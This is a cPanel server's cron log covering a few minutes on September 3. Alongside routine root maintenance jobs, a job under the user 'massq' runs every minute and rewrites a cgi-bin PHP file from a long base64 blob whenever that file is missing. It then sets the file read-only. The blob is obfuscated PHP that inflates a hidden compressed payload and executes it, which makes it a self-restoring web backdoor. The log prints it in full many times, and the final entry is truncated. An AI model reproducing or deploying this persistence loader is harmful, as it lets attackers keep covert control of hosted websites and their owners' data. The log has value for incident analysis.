Sep  3 01:55:01 server CROND[11573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:55:01 server CROND[11574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:55:01 server CROND[11578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:55:01 server CROND[11575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:56:01 server CROND[12432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:56:01 server CROND[12433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:56:01 server CROND[12434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:57:01 server CROND[12816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:57:01 server CROND[12817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:57:01 server CROND[12818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:57:01 server CROND[12819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:58:01 server CROND[13297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:58:01 server CROND[13298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:58:01 server CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:59:01 server CROND[13674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:59:01 server CROND[13675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:59:01 server CROND[13676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:00:01 server CROND[14070]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:00:01 server CROND[14073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:00:01 server CROND[14079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:00:01 server CROND[14078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:00:01 server CROND[14076]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  3 02:00:01 server CROND[14074]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 02:00:01 server CROND[14075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:00:01 server CROND[14082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:00:01 server CROND[14083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:00:01 server CROND[14077]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 02:00:01 server CROND[14072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:01:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:01:01 server CROND[15043]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 02:01:01 server CROND[15045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:01:01 server CROND[15044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:01:01 server run-parts(/etc/cron.hourly)[15043]: starting 0anacron
Sep  3 02:01:01 server anacron[15064]: Anacron started on 2026-09-03
Sep  3 02:01:01 server run-parts(/etc/cron.hourly)[15067]: finished 0anacron
Sep  3 02:01:01 server anacron[15064]: Normal exit (0 jobs run)
Sep  3 02:02:01 server CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:02:01 server CROND[15443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:02:01 server CROND[15444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:03:01 server CROND[15869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:03:01 server CROND[15870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:03:01 server CROND[15871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:04:01 server CROND[16338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:04:01 server CROND[16337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:04:01 server CROND[16339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:05:01 server CROND[16714]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 02:05:01 server CROND[16715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:05:01 server CROND[16716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:05:01 server CROND[16719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:05:01 server CROND[16718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:05:01 server CROND[16721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:05:01 server CROND[16723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:05:01 server CROND[16717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:05:01 server CROND[16720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:06:01 server CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:06:01 server CROND[17574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:06:01 server CROND[17575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X